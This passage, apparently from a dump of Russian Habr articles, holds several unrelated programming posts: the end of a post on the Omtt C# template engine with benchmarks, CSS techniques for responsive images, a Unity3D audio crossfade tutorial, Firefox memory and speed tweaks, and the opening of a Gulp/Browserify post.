Например, можно добавить разметку для линковки шаблонов друг с другом. Или операцию для подготовки графиков в векторном формате. Один из примеров, доступных в [NuGet](https://www.nuget.org/packages/Omtt.Generator.Qr), - формирование QR-кода из текста вложенного шаблона.
Во-вторых, пользовательские функции для выражений.
Пользовательская функция – это именованная штука, принимающая N значений выражений на вход в качестве параметров и возвращающая единственное значение на выходе. В качестве примера можно привести функцию преобразования числа в сумму прописью. Или получение текущей даты-времени.
В-третьих, самую важную функцию write для вывода текста.
Подкручивать её можно с разных сторон – добавляя новые варианты форматирования, экранирования символов (вот тут нам пригодилось это знание!), а то и поддержку пользовательских типов данных.
Технические детали
------------------
С точки зрения реализации Omtt особых сложностей не вызвал, но на нескольких пунктах остановлюсь подробнее.
### Парсинг шаблонов
Поскольку предложенный синтаксис шаблонов оказался не слишком сложным, было принято решение не напрягать тот же ANTLR, а написать разбор текста самостоятельно. Классическая схема с лексическим и синтаксическим анализаторами подошла как нельзя лучше.
Напомню, что представляют собой обе стадии.Допустим, нам нужно разобрать строку
5 \* 9 + x
Лексический анализ преобразует строку в набор токенов:
ЛИТЕРАЛ 5
УМНОЖИТЬ
ЛИТЕРАЛ 9
ПЛЮС
ИМЯ “x”
Этот набор токенов передается в синтаксический анализатор для построения дерева выражения:
При этом упростить задачу (или немножко сжульничать – тут как посмотреть) позволила разработка раздельных анализаторов для синтаксиса разметки и выражений.
### Доступ к свойствам объектов
Обращение к свойствам переданных объектов данных – это одна из основных задач шаблонного генератора. Для её решения можно по старинке использовать reflection.
А можно собрать Expression, откомпилировать его и затем долго и упорно использовать:
```
private static Object? GetPropertyValueExpr(Object obj, String propertyName)
{
return PropertyFuncCache.GetOrAdd((obj.GetType(), propertyName), tuple =>
{
var parameterExpression = Expression.Parameter(typeof(Object));
var objectExpression = Expression.Convert(parameterExpression, tuple.Item1);
var propertyExpression = Expression.PropertyOrField(objectExpression, tuple.Item2);
var resultExpression = Expression.Convert(propertyExpression, typeof(Object));
var expr = Expression.Lambda>(resultExpression, parameterExpression);
return expr.Compile();
})(obj);
}
```
Разница по производительности, по крайней мере в процентах, получается довольно значительная:
| | | | |
| --- | --- | --- | --- |
| Method | Mean | Error | StdDev |
| OmttReflectionTest | 3.963 us | 0.0501 us | 0.0444 us |
| OmttExpressionTest | 2.814 us | 0.0278 us | 0.0232 us |
Еще есть немножечко сумасшедшая идея перетащить в такие компилируемые выражения большую часть вычислений, что позволит избежать совершенно не нужного во многих случаях боксинга.
### Арифметические операции
Как ни странно, самым быстрым способом выполнить арифметические операции для стандартных типов оказался метод «в лоб»:
```
private static Object ProcessPlus(Object? current, Object? second)
{
if (current is String strValue)
return strValue + second;
if (current is Int32 int32Value)
return int32Value + Convert.ToInt32(second);
…
}
```
Вариант с использованием dynamic получился хоть и лаконичнее, но несколько медленнее приведенного выше примера на миксе из Int32, Double и Decimal типов:
```
private static Object ProcessPlus(dynamic? current, dynamic? second)
{
return current + second;
}
```
| | | | |
| --- | --- | --- | --- |
| Method | Mean | Error | StdDev |
| IfExpressionTest | 2.468 us | 0.0149 us | 0.0132 us |
| DynExpressionTest | 2.644 us | 0.0314 us | 0.0278 us |
Ну и раз уж мы за скорость, оставим некрасивый первый вариант. При этом очень хочется поддержать перегрузку операций для пользовательских типов. Это тоже можно, достаточно воспользоваться стандартными именами перегруженных операторов: `op_Addition`, `op_Subtraction`, `op_Multiply`, `op_Division`.
Что касается операторов сравнения, с ними еще проще – достаточно привести объект к типу `IComparable`. Если же это не получается, можно схитрить и сравнить строковые представления объектов, прикрываясь тем, что результатом-то обработки шаблона все равно является строка.
Примеры
-------
Все вышеописанное, конечно, хорошо, но как выглядит результат?
### Обычные
Простой пример, пример, показывающий возможность форматирования:
```
var generator = TemplateTransformer.Create("{{this.Id|D3}}, {{this.FamilyName|u}}, {{this.Name}}");
var result = await generator.GenerateTextAsync(new {Id = 7, Name = "James", FamilyName = "Bond"});
Assert.AreEqual("007, BOND, James", result);
```
Тоже не очень сложный образец кода, демонстрирующий обращение к полям объекта:
```
var generator = TemplateTransformer.Create("Hello, {{this.A.Name}} and {{this.B.Name}}!");
var result = await generator.GenerateTextAsync(new {A = new {Id = 1, Name = "Alice"}, B = new {Id = 2, Name = "Bob"}});
Assert.AreEqual("Hello, Alice and Bob!", result);
```
Вариант с циклом выглядит позабористее:
```
var generator = TemplateTransformer.Create(
"Hello, <#{{this.Name}}<# and #>#>!"
);
var result = await generator.GenerateTextAsync(new[] {new {Name = "Alice"}, new {Name = "Bob"}});
Assert.AreEqual("Hello, Alice and Bob!", result);
```
Он показывает сразу несколько особенностей:
В-нулевых, синтаксис операций разметки для цикла и для условия.
Во-первых, то, что `this` – контекстуальный: внутри цикла по this возвращается текущий итерируемый элемент. Для получения основного объекта нужно использовать ключевое слово `parent`.
Во-вторых, сервисные переменные: `$last` – булев флаг, говорящий о том, является ли текущий элемент цикла последним (`$first` – соответственно, первым).
Если пример выглядит довольно просто, то вот шаблон для таблицы умножения, содержащий уже вложенные циклы:
```
var generator = TemplateTransformer.Create(
"<#<#{{this\*parent|||3}}#>\r\n#>"
);
var result = await generator.GenerateTextAsync(Enumerable.Range(1, 5));
Assert.AreEqual(
" 1 2 3 4 5\r\n" +
" 2 4 6 8 10\r\n" +
" 3 6 9 12 15\r\n" +
" 4 8 12 16 20\r\n" +
" 5 10 15 20 25", result);
```
### QR
В качестве примера расширения функциональности можно рассмотреть операцию разметки, преобразующую вложенный шаблон в QR-код. Поскольку данная функция является внешней, её перед использованием необходимо зарегистрировать.
```
var generator = TemplateTransformer.Create(@"
Test
<#<#Hello, {{this}}!#>#>
");
generator.WithQr();
var result = await generator.GenerateTextAsync("Habr");
await File.WriteAllTextAsync("qr.html", result);
```
#### Генерация схемы данных
Эта фича, не являющаяся основной, на самом деле моя любимая. При правильной обвязке Omtt её можно использовать для автоматического запроса данных, нужных шаблону, посредством SQL или GraphQL. А выглядит использование фичи так:
```
var generator = TemplateTransformer.Create(
"<# {{parent.Str}} {{this.MyInt1 + this.MyInt2}}" +
"<# {{parent.parent.Str}} {{this}}#>#>");
var dataStructure = await generator.GetSourceSchemeAsync();
Assert.AreEqual(
" { ClassesB[] { Decimals[], MyInt1, MyInt2 }, Str }", dataStructure.ToString());
```
В результате мы видим и иерархию классов относительно `this`, и запрашиваемые свойства, и даже признак того, является ли свойство коллекцией (то есть участвует ли оно в операциях типа `forEach`).
Сравнение с существующими решениями
-----------------------------------
Одним из идеологически схожих продуктов является [Scriban](https://github.com/scriban/scriban), который, как утверждается создателями, весьма шустрый: <https://github.com/scriban/scriban/blob/master/doc/benchmarks.md>
Поэтому со Scriban и сравним производительность, заодно позаимствовав тестовые примеры. Исходный код бенчмарков есть [в репозитории](https://github.com/tihilv/Omtt/blob/main/Omtt.Benchmark/Program.cs).
### Парсинг
Несмотря на то, что парсинг шаблонов видится довольно редкой операцией по сравнению с генерацией, было бы интересно понять, а стоил ли того ручной синтаксический разбор.
| | | | | |
| --- | --- | --- | --- | --- |
| Method | Mean | Error | StdDev | Allocated |
| OmttParsingTest | 3.377 us | 0.0481 us | 0.0450 us | 6 KB |
| ScribanParsingTest | 10.795 us | 0.1344 us | 0.1258 us | 6 KB |
Трехкратная разница в производительности подсказывает, что да, стоил. По крайней мере, это было интересно, а за результат не стыдно.
### Арифметика
Следующий несложный тест должен показать, насколько хорошо Omtt справляется с вычислениями. Все-таки ручная интерпретация выражений, не самый аккуратный вид соответствующих методов, повсеместный боксинг…
| | | | | |
| --- | --- | --- | --- | --- |
| Method | Mean | Error | StdDev | Allocated |
| OmttExpressionTest | 2.422 us | 0.0115 us | 0.0090 us | 6 KB |
| ScribanExpressionTest | 28.735 us | 0.5337 us | 0.4731 us | 39 KB |
Десятикратный отрыв от конкурента по производительности и шестикратный по памяти все-таки немножко успокаивают.
### Циклы
Следующее, что хочется проверить – как Omtt справляется с обработкой циклов. И вот здесь со Scriban нашлись довольно существенные различия (либо я чего-то не понял):
Во-первых, нельзя просто так взять и передать список объектов в Scriban для итерации; для этого нужно конвертировать каждый объект в экземпляр типа ScriptObject.
Во-вторых, передать можно максимум 1000 объектов, иначе Scriban ругается.
Ну что ж, выполним замеры с данными ограничениями:
| | | | | |
| --- | --- | --- | --- | --- |
| Method | Mean | Error | StdDev | Allocated |
| OmttListTest | 859.1 us | 8.06 us | 7.14 us | 332 KB |
| ScribanListTest | 2,205.7 us | 5.46 us | 4.84 us | 195 KB |
Видим, что тесты присуждают Omtt двухкратную победу по скорости (даже при вынесенном за рамки теста преобразовании данных для Scriban), при этом ситуация по памяти несколько хуже. Скорее всего, разница обусловлена тем, что Omtt в тесте пишет в `MemoryStream` с использованием `StreamWriter`, таким образом выделение буферов в обоих классах и дает такую аллокацию памяти. При этом Scriban пишет только в `StringBuilder`, что в данном случае чуть экономичнее, но подразумевает, что весь текст всегда обязан помещаться в оперативной памяти.
Если же совместить преобразование данных и генерацию текста, то позиция Scriban по потребляемой памяти также начинает пошатываться:
| | | | | |
| --- | --- | --- | --- | --- |
| ScribanListWithPreparationTest | 2,402.4 us | 14.83 us | 13.87 us | 534 KB |
Выводы
------
Начавшись как простой эксперимент из чистого любопытства, Omtt в настоящий момент используется в продакшене в двух проектах.
При этом он показывает неплохие характеристики по производительности и потреблению памяти, а также обладает умеренно-человечным синтаксисом шаблонов. Не стоит забывать и о возможностях расширения как разметки, так и выражений. Вишенка на торте - функция получения схемы данных, которая позволяет использующему Omtt коду извлекать те, и только те данные, которые нужны шаблону.
В качестве целевой платформы выбран netstandard 2.0, поэтому Omtt заведется как для .NET Framework, так и для .NET Core.
Проект выложен на [GitHub](https://github.com/tihilv/Omtt), в собранном виде присутствует в [NuGet](https://www.nuget.org/packages/Omtt.Generator). | https://habr.com/ru/post/560722/ | null | ru | null |
# Отзывчивые изображения: CSS-приёмы, которые помогают экономить время
Если вы занимаетесь веб-разработкой, то высока вероятность того, что вам знакомы два чудовища, о которых пойдёт речь в статье, перевод которой мы сегодня публикуем. Речь идёт об изображениях и о дедлайнах. Иногда, по каким-то причинам, картинки никак не хотят помещаться в те места макетов страниц, которые для них предназначены, а вы не можете потратить несколько часов на то, чтобы с этим разобраться.
[](https://habr.com/company/ruvds/blog/420619/)
Автор этого материала говорит, что он часто сталкивался с подобной проблемой, и эти столкновения кое-чему его научили. Здесь он хочет рассказать о пяти подходах к управлению размерами изображений, которые нравятся ему больше всего.
Подход №1: background-image
---------------------------
Пятница. Пять часов вечера. Вам надо срочно доделать некую страницу. Всё готово, проблема лишь в картинках, которые никак не помещаются туда, где им положено быть. Если это случилось с вами — вот одно волшебное средство, которое вас выручит:
```
.myImg {
background-image: url("my-image.png");
background-size: cover;
}
```
Выглядит знакомо? Мы все это делали когда-то. Не наводил ли вас это на мысли о мошенничестве?
Использование свойств `background` весьма полезно, они просто делают то, что от них ожидается. Однако стоит помнить о том, что применять их следует лишь для тех изображений, которые не являются частью основного содержимого страницы, для изображений, заменяющих текст, и в некоторых [особых случаях](https://stackoverflow.com/a/1469139).
Подход №2: object-fit
---------------------
Что если я скажу, что свойство `object-fit` применимо к элементам `![]()`? Оно, кстати, работает и с видео.
```
.myImg {
object-fit: cover;
width: 320px;
height: 180px;
}
```
Вот и всё. Обратите внимание на то, что свойству `object-fit` можно назначить значение `contain`.
### ▍О поддержке object-fit
К несчастью, `object-fit` не будет работать в IE и в старых версиях Safari, однако, для таких случаев имеется [полифилл](https://github.com/bfred-it/object-fit-images/).
Вот сведения о поддержке этой возможности, взятые [отсюда](https://css-tricks.com/almanac/properties/o/object-fit/#article-header-id-4).
*Поддержка object-fit настольными браузерами*
→ [Вот](https://codepen.io/adri_zag/pen/VBQJYg) пример использования object-fit
Подход №3: способ, которым пользуется Netflix
---------------------------------------------
То, о чём мы только что говорили, может показаться интересным, но в устаревших браузерах, без полифиллов, работать это не будет. Если вам нужно что-то универсальное, возможно, то, о чём мы будем говорить сейчас, вам подойдёт. Этот метод, один из моих любимых, работает везде.
Заключается он в том, что изображение нужно поместить в родительский элемент, свойство `position` которого установлено в значение `relative`, а свойство `padding` задано в процентном выражении. В результате изображение займёт всю свободную область родительского элемента. Выглядит это так:
```
.wrapper {
position: relative;
padding-top: 56.25%; /* 16:9 Aspect Ratio */
}
img {
position: absolute;
left: 0;
top: 0;
width: 100%;
height: auto;
}
```
Тут вы можете подумать о том, что это слишком сложно. Однако, после того как вы поймёте смысл этого приёма, вы осознаете, что он очень прост и удобен. К тому же, этот приём [широко используется](https://www.w3schools.com/howto/howto_css_aspect_ratio.asp), например, в Netflix.
*Взгляните на имена классов*
→ [Вот](https://codepen.io/adri_zag/pen/BPrejO) пример реализации этого приёма
Подход №4: height
-----------------
Тут для управления размерами изображения используется свойство `height: auto`, и, кроме того, свойство `max-width`. Вполне возможно, что вам этот приём уже знаком:
```
img {
height: auto;
width: 100%;
/* свойство max-width, позволит лучше контролировать изображение */
max-width: 720px;
}
```
Такой подход применим в большинстве случаев, тогда, когда ваш макет не слишком сложен.
→ [Вот пример](https://codepen.io/adri_zag/pen/LBQvwy)
Подход №5: управление изображениями и производительность
--------------------------------------------------------
Под «производительностью» я тут понимаю время загрузки страниц. Большое изображение может очень долго загружаться, что создаст у пользователя впечатление того, что ваши страницы работают медленно, особенно, если эти страницы просматривают на мобильных устройствах.
Знаете ли вы о том, что в [современных браузерах](https://caniuse.com/#feat=srcset) можно менять источник изображения в зависимости от ширины страницы? Именно для этого существует атрибут `srcset`.
Подобные атрибуты можно использовать в теге HTML 5 [`. В том случае, если браузер эту технологию не поддерживает, здесь предусмотрен запасной вариант с использованием тега ![]()`:
```
```
→](https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images) [Вот пример](https://codepen.io/adri_zag/pen/pZLBpx)
Итоги
-----
Подведём итоги:
* Если ваше изображение не является частью содержимого страницы — используйте `background-image`.
* Если поддержка IE вас не интересует — воспользуйтесь `object-fit`.
* Техника с применением контейнера со специально настроенным свойством `padding`, используемая Netflix, работает везде.
* В большинстве случаев для решения проблемы с картинками достаточно использовать в CSS свойство `height: auto`;
* Если вы стремитесь сократить время загрузки страниц, используйте атрибут `srcset` для загрузки изображений меньших размеров на мобильных устройствах.
Надеемся, рассмотренные здесь подходы к работе с изображениями вам пригодятся.
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/420619/ | null | ru | null |
# Unity3D — кроссфейд, основы работы со звуком (урок)
*картинка для привлечения внимания:
«Acorn» — игра, над которой мы работаем,
в ней используется скрипт из этого урока.*
**В уроке быстро и просто реализуем примерно три задачи:**
* 1а. Плавное затухание громкости эмбиента (или саундтрека) предыдущего уровня при переходе на следующий.
1б. Далее, этот «звук» удаляется через заданное количество времени.
* 2. Плавное возникновение (усиление громкости от 0 до 1) эмбиента после загрузки уровня.
* 3. Кроссфейд эмбиента с самим собой — звуки/саундтрек уровня, за ~10 секунд до своего финала, должны плавно затухать и плавно переходить с усилением в собственное начало.
Другими словами — «программное» плавное смешивание (луп/микширование/закольцованность, etc.) на лету.
**Что из себя представляет кроссфейд...**… как это понимаю «дилетант я»?
Вот, например, скриншот из Adobe Audition.
Берём трек **(0)**, делаем возрастание громкости вначале **(1)** и затухание в конце **(2)**,
клонируем результат в начало **(3)** и в конец **(4)**, со смещением до перекрестия затуханий **(5)**, обрезаем лишнее **(6)**.
7 — Сохраняем результат.
Мы теряем немного материала в начале и в конце, обрезанные, хм… начало и конец «загрязняются» примесью друг друга.
Как-то так, можно, конечно и по-другому.
Например ,«срезать» полностью вначале или в конце, оставив эм… перекрестие затуханий в противоположном начале или в конце.
Но это «съест» ещё больше материала.
Почему я делаю это программно?
* 1. Потому что лень. Достаточно было написать скрипт один раз, чтобы забыть об **Audacity** и **Adobe Audition**
* 2. Исходник сохраняется в первозданном виде — без «съедания» начала (переходом в конец),
без искажений в начале и в конце.
* 3. Я могу сделать переход на любом отрезке трека, а если допилить скрипт, то и микшировать несколько треков —
все это без издевательства над аудио- материалом в аудио-редакторах и без лишней траты времени.
* 4.Традиционный способ ограничивает выбор форматов — луп из \*mp3 будет «цокать» в момент перехода.
Мой способ лишён этого недостатка.
* 5. Программы вроде Audacity, извините, жутко неудобны. Программы вроде Adobe Audition — стоят денег.
***Немного необязательной информации под спойлером.***
*Микширование в Unity 5.0 через AudioMixer это, наверное, круто.
Но нужно было собственное решение здесь и сейчас (на момент написания урока — версия 4.5.2f1).
Итак, начнём по порядку.*
**0. Подготовительные работы**
* 1. Создаём проект, сохраняем.
* 2. В проекте создаём две сцены, сохраняем. Для удобства, можно назвать их просто — 0 и 1
* 3. Перетаскиваем созданные сцены в окошко Build Settings (Ctrl+Shift+B).
* 4. Перетаскиваем в окошко Project два музыкальных файла — для первой и второй сцены.
Желательно \*wav — при необходимости его всегда можно сжать в опциях инспектора Unity. Ну, или \*ogg.
*В какие папки и как разместить эти файлики — это на ваш вкус.
Также, рекомендую для урока брать музыку покороче — чтобы не ждать момента закольцованности слишком долго.
В принципе, это можно обойти (выставить время для перехода раньше) но для точности лучше так.*
* 5. Настраиваем наши музыкальные файлы: снимаем галочку чекбокса **3D Sound** — в нашем случае громкость саундтрека/эмбиента не зависит от положения игрока с пространстве относительно источника звука.
Перетаскиваем один из звуковых файлов в первую сцену и другой во вторую.
У камеры (или персонажа) должен быть Audio Listener
**1. Плавное затухание эмбиента предыдущего уровня при переходе на следующий.
Последующее удаление через заданное количество времени**
Создаём новый js скрипт, люблю дурацкие названия — назову его FadeOutAndDestrTimerWhenNextLvlLoad
Первое, что нам нужно — чтобы объект «звук» не уничтожился при переходе на следующий уровень.
Зачем? Затем, чтобы сделать ему плавное затухание и затем удалить.
*Лезем читать документацию.*
Ага, нам нужна строчка:
```
DontDestroyOnLoad (transform.gameObject);
```
Всё, этого достаточно.
Исходя из наших требований, обдумываем три «изменябельных» переменных:
* продолжительность затухания звука
* время от момента загрузки уровня до удаления объекта «звук»
* номер уровня, на котором скрипт запустится —
нужная штука, ведь скрипт универсальный — мы будем применять его на разных уровнях.
Конвевертируем мысли в строчки:
```
var fadeTime = 0;
var levelToExecute = 0;
var DestroyTime = 0;
```
Ага, значит далее скрипт будет состоять из двух функций — «таймер удаления» и «механизм затухания».
Начнем с «таймера удаления».
Тут все элементарно:
```
function OnLevelWasLoaded (level : int) {
if (level == (levelToExecute))
{
Destroy (gameObject, DestroyTime);
//Destroy (gameObject, 20); //- можно и так, конечно.
}
}
```
Если номер загруженного уровня будет соответствовать указанному нами в окошке «levelToExecute», запускается «таймер удаления» — от момента загрузки уровня до времени, указанного нами в окошке DestroyTime.
Хм, а почему бы нам не добавить сразу и запуск (ещё не написанной) функции «механизм затухания» сюда же? Можно.
```
function OnLevelWasLoaded (level : int) {
if (level == (levelToExecute))
{
FadeAudio(fadeTime, Fade.Out);
//продолжительность затухания, тип фейда - затухание(а не усиление)
Destroy (gameObject, DestroyTime);
}
}
```
Теперь осталось написать функцию «механизм затухания», допустим такой метод:
```
function FadeAudio (timer : float, fadeType : Fade) {
var start = fadeType == Fade.In? 0.0 : 1.0; //на старте (указанного нового уровня) произойдёт усиление звука из 0 до 1
var end = fadeType == Fade.In? 1.0 : 0.0; //в конце произойдёт угасание из 1 в 0
var i = 0.0; //переменное значение (громкости)
var step = 1.0/timer; //шаг ("плавного" изменения громкости) равен единице громкости / таймер
while (i <= 1.0) { // до тех пор, ПОКА "0" (громкость) равна или меньше "1" исполнять ↓ ,
//вплоть до получения значения "0"
i += step * Time.deltaTime;
audio.volume = Mathf.Lerp(start, end, i);
// Mathf.Lerp - находим промежуточные значения громкости соответственно имеющимся start, end, и значение "i"
//растягиваем во времени изменение звука
yield;
}
}
```
Вот, что у нас получилось:
**2,3 «Программный» луп эмбиента с самим собой, плавное усиление эмбиента при загрузке уровня**
Мы уже знаем почти все, что нужно для этой части.
Добавим чуть-чуть.
Создаём новый js скрипт, я назову его StartFadeIn\_CloneTimer\_FadeOut\_DestrTimer
Обратите внимание — название не просто дурацкое, в нем указана последовательность исполнения функций, мне так удобно.
Кстати, изначально я написал п.1 и п.2-3 в один скрипт, но оказалось удобнее отключать «кусочек» при потребности.
Можете их объединить, чуть подкорректировав.
Оглянемся назад, в начало статьи — какие требования предъявлены будущему скрипту?
*Музыка, за ~N секунд до своего финала, должна начать плавно затухать и плавно переходить с усилением в собственное начало.*
Подумаем как это реализовать:
* 1. Фейд в начале трека, «нерегулируемый», происходит усиление громкости от 0 до 1.
Он должен срабатывать как на старте уровня, так и у клона (об этом ниже).
* 2. Фейд в конце трека — происходит затухание громкости от 1 до 0,
активируется за 10 (например) секунд до финала трека.
Функция «нерегулируемая», но не совсем — не напрямую. Об этом ниже.
* 3. Уничтожение объекта «трек» — регулируемая цифра,
по-умолчанию равна длине трека в секундах, но не обязательно.
Мы вольны уничтожить трек в любой момент, не дожидаясь конца.
**Скрипт автоматически запустит фейд затухания за 10 секунд до уничтожения,
соответственно этой цифре.**
* 4. Регулируемая продолжительность фейда.
Согласно написанному выше это 10с,
но мы оставим возможность при надобности ее изменять.
* 5. Создание клона трека — регулируемая цифра,
она равна длине трека в секундах, минус 10 секунд затухания.
* 6. Поскольку на разных уровнях разные треки, сделаем скрипт универсальным —
добавим возможность выбирать нужный нам объект «звук».
Конвертируем мысли в строчки, опять же, перечислим, что у нас здесь есть затухание и усиление, и создадим четыре переменных:
```
enum Fade {In, Out} // для объявления перечисления - наших "усиление" и "затухание"
var prefab : Transform; //выбор объекта "звук"
var DestroyTime: float = 1; //время (задержка) до удаления
var CloneTime: float = 1; //время (задержка) до клонирования
var fadeTime: float = 1; //продолжительность угасания/усиления
```
Добавим функцию «Старт»:
```
function Start(){
Spawn();
//↑запуск функции "Спавн" (клонирование)
FadeAudio(fadeTime, Fade.In );
//↑запуск функции "Фейд", включая указанную в переменной продолжительность и тип фейда - усиление
Destroy ((prefab as Transform).gameObject, DestroyTime);
//↑удаление выбранного объекта звук по истечению времени, указанного в DestroyTime
}
```
Теперь по порядку, добавим перечисленные выше функции. Клонирование:
```
function Spawn(){
while( true ){
yield WaitForSeconds(CloneTime); //задержка до исполнения, указана в переменной CloneTime
for (var i : int = 0;i < 1; i++)
{ Instantiate (prefab, Vector3(i * 2.0, 0, 0), Quaternion.identity); } //клонирование выбранного объекта "звук"
FadeAudio(fadeTime, Fade.Out); //продолжительность затухания, срабатывающего в конце
}
}
```
Функция «Фейд» у нас уже есть — копипастим её из первой части статьи:
```
function FadeAudio (timer : float, fadeType : Fade) {
var start = fadeType == Fade.In? 0.0 : 1.0;
var end = fadeType == Fade.In? 1.0 : 0.0;
var i = 0.0;
var step = 1.0/timer;
while (i <= 1.0) {
i += step * Time.deltaTime;
audio.volume = Mathf.Lerp(start, end, i);
yield;
Debug.Log (audio.volume);
//проверка срабатывания фейда логируется в консоль - можно удалить/отключить
}
}
```
Вот, что у нас получилось:
Смотрим длину нашего трека, конвертируем её в секунды = DestroyTime
*Если лень посчитать — можно использовать онлайн-конвертер минут (гугл в помощь) + добавить остаток секунд.*
Отнимаем продолжительность фейда = CloneTime
Вписываем полученные значения в окошки.
В перфаб добавляем нужный трек.
Фейд по вкусу.
Вы должны проследить за тем, чтобы задержка до клонирования/продолжительность фейда/время удаления
не конфликтовали с временн**Ы**ми параметрами **скрипта из первой части статьи** —
иначе при переходе на следующий уровень трек может не успеть самоудалиться и начнёт создавать множество своих копий.
…
И напоследок, если вам интересно, для чего это делается:
[steamcommunity.com/sharedfiles/filedetails/?id=252305314](http://steamcommunity.com/sharedfiles/filedetails/?id=252305314) | https://habr.com/ru/post/248371/ | null | ru | null |
# Побеждаем утечки памяти и ускоряем работу Firefox
Про утечки памяти в Огнелисе на Хабре уже было несколько постов, но ни в одном из них нет полного, с моей точки зрения, набора инструкций. Под катом я попытаюсь собрать все вместе, добавив то, что помогло в решении вопроса мне.
Кроме решения проблемы утечки памяти, многие советы позволят ускорить работу браузера, так что пост будет интересен всем, кто использует Firefox. Практически каждый пункт подходит и для почтового клиента Thunderbird.
А если вам просто понравилась девушка с картинки, то [здесь](http://enjinight.deviantart.com/art/Firefox-close-up-266827463?q=gallery%3Aenjinight%2F24575574) хайрез :)
##### AdBlock Plus
[Ставим](https://addons.mozilla.org/ru/firefox/addon/adblock-plus/) популярное дополнение, если оно еще не установлено.
Дело тут не только в рекламе, но и в том, что отображение Flash баннеров может вызывать утечки памяти на некоторых конфигурациях.
Сайт с обилием рекламы:
В дело вступает **AdBlock Plus**:
Сайты без рекламы грузятся заметно быстрее.
Для тех, кто считает, что полностью отключать рекламу не совсем хорошо, есть опция при которой ненавязчивая реклама останется.
##### Удаление «неудаляемых» дополнений
Некоторые программы пытаются встроить в браузер свои дополнения. К ним относятся, например, антивирус Касперского, Zend Studio, RealPlayer, Skype:
Эти дополнения можно отключить, но нельзя удалить. Некоторые считают, что именно это является одной из возможных причин утечек памяти.
Удалив эти дополнения, мы как минимум ускоряем запуск Firefox, так что это действие в любом случае имеет смысл.
Ищем в реестре:
`HKEY_CURRENT_USER\Software\Mozilla\Firefox\Extensions\
HKEY_LOCAL_MACHINE\Software\Mozilla\Firefox\Extensions\
HKEY_LOCAL_MACHINE\Software\Wow6432Node\Mozilla\Firefox\Extensions`
Удаляем все записи для дополнений, которые нам не нужны или записи, не относящиеся к дополнениям (у меня в этих ветках откуда-то появился Google Update).
Кстати, рекомендую ознакомиться со [списком дополнений](http://habrahabr.ru/blogs/firefox/31243/), приводящих к утечкам памяти. Имеет смысл найти для них альтернативу или отказаться от их использования.
##### Сброс оперативной памяти в свернутом режиме
1) Набираем в адресной строке **about:config**
2) Кликаем правой мышью **New**, выбираем **Boolean**
3) Набираем **config.trim\_on\_minimize**
4) Выбираем **True**
5) Перезагружаем лису
Теперь, при свернутом браузере, памяти будет расходоваться на порядок меньше. Расплатой за это [может быть](http://habrahabr.ru/blogs/firefox/136743/#comment_4551617) замедление «восстановления» браузера.
##### Уменьшение потребляемой памяти
Если проблема при работе с Firefox не столько в утечке памяти, сколько в ее нехватке, имеет смысл пожертвовать частью производительности ради уменьшения общего объема потребляемой памяти.
В Firefox есть функция быстрого перехода по открытым ранее страницам за счет хранения отрендереной страницы в оперативной памяти. За это удобство мы платим б*о*льшим потреблением оперативной памяти. Если для вас память все же важнее, поменяйте значение **browser.cache.memory.enable** на **false**.
Вместо полного отключения кэша, есть вариант самостоятельно выбрать предельный объем памяти, который он будет занимать — **browser.cache.memory.capacity**. Если опция отсутствует, создавайте ее так же, как в предыдущем пункте про trim\_on\_minimize. Тип — **integer**, значение в килобайтах.
Проверить изменения можно, открыв **about:cache**.
**browser.sessionhistory.max\_total\_viewers** типа **integer** — это кэширование сессий последних посещённых страниц. Я установил **0**.
**browser.sessionhistory.max\_entries** — количество запоминаемых шагов Вперед-Назад. Мне вполне хватает установленного значения **10**.
##### Ускоряем Firefox
Дополнение [Fasterfox](https://addons.mozilla.org/ru/firefox/addon/RsccmanFasterfox/) ускоряет загрузку страниц.
На выбор есть пять различных режимов: **Default**, **Courteous**, **Optimized**, **Turbo Charged** и **Custom**. Не вдаваясь в подробности работы, советую установить **Turbo Charged** (**Экстримальный**). Это настроит работу браузера на максимальную производительность.
Если не жаль времени, выбирайте **Custom** (**Индивидуальный**), что позволит задать вручную максимальное число соединений, настроить систему прорисовки страниц и остальные опции. | https://habr.com/ru/post/136743/ | null | ru | null |
# Продвинутый Gulp и Browserify: интересные трюки
Пару недель назад я начал цикл о том, как делал некоммерческий музыкальный проект (первый пост есть в «я пиарюсь», не буду ставить ссылок), но, к сожалению, в первой же статье увлекся, и вместо того, чтобы рассказывать о том, как делал конкретно его, начал вспоминать эффективные трюки из других проектов. Видимо, именно это вкупе с прописанным акцентом на сам проект привело к тому, что за мной и постом прилетело НЛО.
Однако все то, что было в статье, было по крайней мере малоизвестно, а половина ее была вообще уникальна, как я уверен, и каждый из этих советов может ощутимо облегчить работу с gulp, поэтому мне действительно было бы жаль, если этот материал безвозвратно пропал бы.
Поэтому я постарался убрать все упоминания проекта и повторно публикую (с доработками и правками) статью, которую по сути никто еще не видел. Если вы фанат grunt — почитайте хотя бы вторую часть: то, что вы не любите gulp, не значит, что вы не любите browserify.
Краткое содержание:
1. Простой способ обработки ошибок;
2. Универсальная структура для хранения исходных файлов;
3. Объединение нескольких потоков (например, скомпилированный coffee и js) в один;
4. Создание потока из текста;
5. создание собственных плагинов для Browserify;
6. создание плагинов из плагинов Gulp для Browserify.
Я перешел на **gulp** во время работы над одним видеопорталом. Сейчас у них все хорошо, они развиваются, и, кажется, моя система сборки стоит у них до сих пор.
Тогда же я перешел на **stylus**.
Почему? Исключительно быстродействие.
Многие цифры я привожу по памяти, так что могу немного врать, но пропорции — одинаковые, их я точно помню.
Вводные:
* grunt;
* есть большое количество (73, если не путаю) файлов стилей, которые почти не связаны друг с другом, сборка — склейкой. В основном стили — это компоненты и постраничные хуки и лэйауты, так что они независимы друг от друга, в почти каждом подключается только набор переменных;
* есть большое количество скриптов, которые склеиваются в один. CoffeeScript компилируется, обычный js не изменяется. Каждый файл оборачивается в замыкание;
* есть файл приложения, который собирается из большого количества прекомпилированных шаблонов jade через какой-то специализированный плагин, который делал в глобальном пространстве объект со всеми шаблонами из папки, плюс склеивалось с основным движком приложения. По сути на выходе тоже js-файл;
* время сборки каждого из пунктов — около 10 секунд на Macbook Air 2013, i5, суммарно — около 30-40 секунд. Напоминаю, что в MBA стоит SSD, котроый подключен через PCIe и выдает скорость работы с жестким диском, которая вроде как в принципе недостижима на обычном sata-подключении. На компьютерах с HDD время сборки может занимать больше минуты.
Все указывает на то, что идет затык в работе с жестким диском, причем в только одной задаче из трех все можно решить каким-то кэшем.
Изучение проблемы так же указывало на то, что стили компилируются дольше всех.
Решение проблемы было следующим:
